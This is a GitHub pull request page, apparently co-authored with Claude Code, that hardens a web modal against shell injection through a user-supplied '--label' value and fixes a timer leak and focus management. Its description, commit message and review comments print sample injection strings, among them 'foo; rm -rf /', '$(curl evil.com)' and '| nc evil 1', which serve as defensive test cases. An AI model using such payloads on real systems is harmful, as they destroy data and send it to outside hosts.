Skip to content

fix(web): harden ForkReplayModal (shell injection, setTimeout leak, a11y) + v0.12.13 - #141

Merged
risjai merged 1 commit into
masterfrom
fix/web-replay-polish
Apr 24, 2026
Merged

risjai merged 1 commit into
masterfrom
fix/web-replay-polish

Conversation

@risjai

@risjai risjai commented Apr 24, 2026

Copy link
Copy Markdown
Collaborator

Summary

Follow-up to PR #139. Addresses the Santa-method review. One critical fix (shell injection), two important UX/a11y fixes (setTimeout leak, focus management), and several nits. Auto-merge is intentionally NOT enabled.

Review findings addressed

CRITICAL-1 — shell injection via label

The replay-setup modal builds rewind replay <id-prefix> --from N --label L and asks the user to paste it into a terminal. L was unvalidated user input, so labels like foo; rm -rf /, foo\$(curl evil.com), or foo`whoami` produced dangerous commands. React escapes the displayed <code> block, but the risk is the clipboard → terminal trust boundary: the UI generates the command, the user trusts it.

Fix: validate labels against ^[A-Za-z0-9._-]+$ at input time. Invalid labels:

  • Disable the submit button
  • Add aria-invalid on the input + red ring
  • Show inline hint: "Use letters, numbers, dot, dash, underscore only."

handleSubmit also short-circuits if labelIsValid is false — belt-and-suspenders in case the disabled attribute is ever bypassed. 7 parametrized tests cover the main metachars (;, backticks, \$(), |, &, space, quote) plus an explicit "never calls forkSession when invalid" check.

Important-1 — setTimeout leak in handleCopy

setTimeout(() => setCopied(false), 2000) had no cleanup. A modal unmount between the Copy click and the 2s reset would call setState on a disposed component. Stored the timer ID in a ref, clear in the reset useEffect, and added a separate unmount-cleanup effect. Test asserts no unmounted component warnings after advancing fake timers past the unmount.

Important-2 — focus lost on phase transition (a11y)

When the modal flipped input → instructions, the focused submit button was unmounted and focus fell to <body>. Keyboard-only users were dropped outside the modal. Added a useEffect that focuses the doneBtnRef whenever phase transitions to 'instructions'. Also added role="status" + aria-live="polite" on the success banner so screen readers announce the phase change.

Nits

  • Dropped the IIFE icon pattern: const PrimaryIcon = mode === 'fork' ? GitBranch : Play → <PrimaryIcon />
  • Added mode to the reset-effect dep array (defensive; no caller changes mode at the moment)
  • Clipboard mock restore in test afterEach so it doesn't leak between tests

CRITICAL-2 — double-fork (NOT included; filed separately)

Reviewer correctly flagged that the web UI creates Fork A via POST /fork, then instructs the user to run rewind replay which creates Fork B, so steps land on B but the UI navigated to A. This is pre-existing — MCP's replay_session tool does the same dance. Fixing it properly needs a --fork-id flag on the CLI's Replay subcommand so it reuses a pre-created fork. Filed as #140.

Versions

Released v0.12.12 landed earlier today. Web dist is embedded in the binary, so any web change needs a new tag:

  • Rust workspace: 0.12.12 → 0.12.13
  • python/rewind_cli.py CLI_VERSION: 0.12.12 → 0.12.13
  • python-mcp/pyproject.toml + python-mcp/rewind_mcp_cli.py: 0.12.12 → 0.12.13
  • Cargo.lock auto-updated. Python SDK untouched.

Post-merge: cut v0.12.13.

TDD evidence

  • RED: added 9 new failing tests covering the shell-injection vectors, focus transfer, aria-live on the banner, and the setTimeout-no-leak behavior. Initial run: 9 failed / 131 passed.
  • GREEN: implemented validation + timer ref + focus ref + aria attributes. Final: 140/140 pass.
  • Build clean (tsc -b && vite build).

Test plan

  • npm test — 140/140 pass (was 131; +9 new tests)
  • npm run build — clean
  • cargo build --release --bin rewind — clean
  • Reviewer: smoke-test on the Vercel preview. Try pasting foo; rm -rf / into the label field and confirm the submit button disables + hint appears.
  • Reviewer: run the replay flow with a normal label; confirm Tab/arrow/Escape all work cleanly in the instructions panel, and that screen readers announce the success banner.

Not enabling auto-merge per instructions.

🤖 Generated with Claude Code

Addresses the Santa-method review on #139. One critical fix, two
important UX/a11y fixes, several nits.

CRITICAL-1 — shell injection via label
  The replay-setup modal builds a shell command (rewind replay ...
  --label L) that the UI asks the user to paste into a terminal. L
  was user-controlled with no validation, so labels like
    foo; rm -rf /
    foo$(curl evil.com)
    foo`whoami`
    foo | nc evil 1
  produced dangerous commands. React escaping on the <code> display
  didn't help — the risk is the clipboard → terminal trust boundary.

  Fix: validate labels against /^[A-Za-z0-9._-]+$/ at input time.
  Invalid labels disable the submit button, add aria-invalid on the
  input, and show an inline hint "Use letters, numbers, dot, dash,
  underscore only." handleSubmit short-circuits if labelIsValid
  is false as belt-and-suspenders.

  7 parametrized tests cover the main shell metachars (semicolon,
  backtick, $(), pipe, ampersand, space, quote) plus an explicit
  "never calls forkSession when invalid" check.

Important-1 — setTimeout leak in handleCopy
  setTimeout(() => setCopied(false), 2000) had no cleanup, so a
  modal unmount between the copy click and the 2s reset would call
  setState on a disposed component. Fixed by storing the timer ID
  in a ref, clearing it in the reset useEffect, and adding an
  unmount cleanup effect. Test asserts no "unmounted component"
  warnings after advancing fake timers past the unmount.

Important-2 — focus lost on phase transition (a11y)
  When the modal flipped from the input phase to the instructions
  phase, the focused submit button was unmounted and focus fell to
  <body>. Keyboard-only users had to Tab back into the modal.
  Added a useEffect that focuses the Done button ref whenever
  phase changes to 'instructions'. Also added role="status"
  aria-live="polite" to the success banner so screen readers
  announce the change.

Nits applied
  - Removed the IIFE icon-rendering pattern. Use `const PrimaryIcon
    = mode === 'fork' ? GitBranch : Play` then `<PrimaryIcon />`.
  - Added `mode` to the reset-effect dependency array so a mode
    change at mount time would reset state correctly (defensive —
    no caller changes mode today).
  - Clipboard mock restore in test afterEach so it doesn't leak
    between tests.

Version 0.12.12 → 0.12.13. Web dist embedded in the release
binary; v0.12.12 already shipped, so any web change needs a new
tag. All 5 version-tracked files bumped per project CLAUDE.md.

Tests: 140/140 pass (was 131; +9 new polish tests).
Build: clean.

Double-fork issue (CRITICAL-2 from the review) is filed as #140 —
pre-existing, affects MCP too, needs a new CLI --fork-id flag to
fix properly. Not included here.

Co-Authored-By: Claude Opus 4.7 <[email protected]>
@vercel

vercel Bot commented Apr 24, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
rewind Ready Ready Preview, Comment Apr 24, 2026 6:06am

@risjai risjai left a comment

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review: LGTM — ready to merge

CI all green. Clean, focused response to every Santa finding from #139.

Verified

  • ✅ CRITICAL-1 (shell injection): Defense-in-depth — LABEL_REGEX = /^[A-Za-z0-9._-]+$/ disables submit at input time + handleSubmit short-circuits if invalid + visual feedback (red ring + aria-invalid + inline hint). 7 parametrized tests cover the key metacharacters (;, backticks, $(), |, &, space, quote) + a positive case + a force-submit guard test.
  • ✅ Important-1 (setTimeout leak): copiedTimerRef cleared in three places: reset effect (reopen), dedicated unmount effect, and before starting a new timer. Test confirms no React warnings when unmounting with a pending timer.
  • ✅ Important-2 (focus lost on phase transition): doneBtnRef focused via useEffect([phase]). Success banner has role="status" + aria-live="polite". Tests assert focus transfer and aria attribute.
  • ✅ CRITICAL-2 (double-fork): Correctly scoped out to #140. Pre-existing issue affecting MCP too — needs CLI-side --fork-id flag.
  • ✅ Nits: IIFE gone (PrimaryIcon assigned directly), mode added to reset deps, clipboard mock restored in afterEach.
  • ✅ Version bump: All 5 Rust-track files 0.12.12 → 0.12.13. Python SDK untouched.

Minor observations (non-blocking)

  1. aria-describedby="fork-replay-label-hint" uses a static ID — safe today (single modal instance), but would collide if two modals ever mounted simultaneously.
  2. Regex allows leading/trailing dots/dashes (--label-, ..foo) — cosmetic, not a security concern. Could tighten to require ^[A-Za-z0-9] start if desired.
  3. handleSubmit's !labelIsValid check is redundant with disabled={submitDisabled} — intentional belt-and-suspenders per PR description. Good.

// be hijacked by shell metacharacters (`;`, backticks, `$()`, spaces, etc.)
// even if the React-escaped <code> display is safe. Matches the CLI's own
// tolerance for filesystem-safe identifiers.
const LABEL_REGEX = /^[A-Za-z0-9._-]+$/

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Clean fix for CRITICAL-1. The conservative charset ([A-Za-z0-9._-]+) matches the CLI's tolerance for filesystem-safe identifiers and eliminates all shell metacharacters. The + quantifier also correctly rejects empty labels.

One optional tightening: ^[A-Za-z0-9][A-Za-z0-9._-]*$ would prevent labels starting with - (which could be misinterpreted as a CLI flag by some parsers) or . (hidden file convention). Not a security issue — just defensive.

const replayCommand = `rewind replay ${shortSessionId} --from ${atStep} --label ${effectiveLabel}`

const handleSubmit = async () => {
if (!labelIsValid || status === 'submitting') return

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good belt-and-suspenders: even if the disabled attribute is bypassed (e.g., via dev tools or a future refactor removing the attribute), this guard prevents the API call. Correct pattern.


// Clear any pending Copied-flag timer on unmount so we never call setState
// on a disposed component. See santa-review Important-1.
useEffect(() => {

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Dedicated unmount cleanup for the timer ref — correct. This catches the case where the parent unmounts the modal without triggering the reset effect (e.g., parent component unmounts entirely, not just isOpen toggling). The reset effect handles the reopen case; this handles the dispose case. Both are needed.

// button so keyboard / screen-reader users aren't dropped onto <body>.
useEffect(() => {
if (phase === 'instructions') {
doneBtnRef.current?.focus()

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Simple and correct. ?. is defensive for the edge case where the ref hasn't attached yet. The useEffect([phase]) dependency is minimal — no risk of re-running on unrelated state changes.

['ampersand', 'foo && bad'],
['space', 'foo bar'],
['quote', "foo'bar"],
])('rejects label with %s and disables submit', (_name, badLabel) => {

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Well-targeted parametrized tests. Testing the specific metacharacters that matter (;, backtick, $(), |, &, space, quote) rather than fuzzing random strings — proves the regex catches real attack vectors.

@risjai
risjai merged commit 513f66b into master Apr 24, 2026
6 checks passed
@risjai
risjai deleted the fix/web-replay-polish branch April 24, 2026 06:44
shivam2199 pushed a commit to shivam2199/rewind that referenced this pull request Apr 29, 2026
Covers the features shipped in PRs agentoptics#138, agentoptics#139, agentoptics#141, agentoptics#142, agentoptics#144, agentoptics#145,
agentoptics#146. Adds 6 screenshots under assets/ and wires them into the docs.

## Files updated

- **docs/web-ui.md** — new "Fork & Replay" section covering fork from
  step, set up replay, diff against parent, delete fork. Adds a
  "Keyboard accessibility" section documenting group-focus-within and
  the destructive-dialog focus trap. Screenshots for each workflow.
- **docs/replay-and-forking.md** — new "From the Web UI" subsection
  under Replay from failure showing the generated command
  (`rewind replay … --fork-id …`) and a note on the delete affordance.
- **docs/cli-reference.md** — `rewind replay` row documents `--fork-id`
  and explains it's set by MCP / web UI to avoid double-forking.
- **docs/mcp-server.md** — `replay_session` tool row notes the command
  it returns includes `--fork-id` and requires `rewind` CLI ≥ 0.12.16.
- **README.md** — web-dashboard paragraph mentions the new fork /
  replay / diff / delete affordances with a link to web-ui.md.

## Screenshots

- assets/web-fork-replay-buttons.png — list-mode step detail showing
  the "Fork from here" and "Set up replay…" buttons.
- assets/web-fork-modal.png — fork confirmation modal with label input.
- assets/web-activity-timeline-hover.png — timeline-mode swim lanes
  with fork/replay icons available on bar hover.
- assets/web-replay-setup-instructions.png — replay setup instructions
  panel with the shell command, fork-id included, and Copy button.
- assets/web-diff-against-parent.png — TimelineSelector with the
  "Diff against parent" button visible for a non-root fork.
- assets/web-delete-fork.png — delete confirmation dialog + trash icon
  on the fork pill.

## Not included (intentional)

- No CHANGELOG.md updates — this repo doesn't maintain one.
- No PRODUCT-SUMMARY.md updates — file is no longer in the repo.
- No screenshots for backend-only changes (DELETE endpoint, CLI
  --fork-id flag) — text-only additions suffice there.

Co-Authored-By: Claude Opus 4.7 <[email protected]>

This branch was successfully deployed

1 active deployment
Preview — 7e8deca0 Deployed Apr 24, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant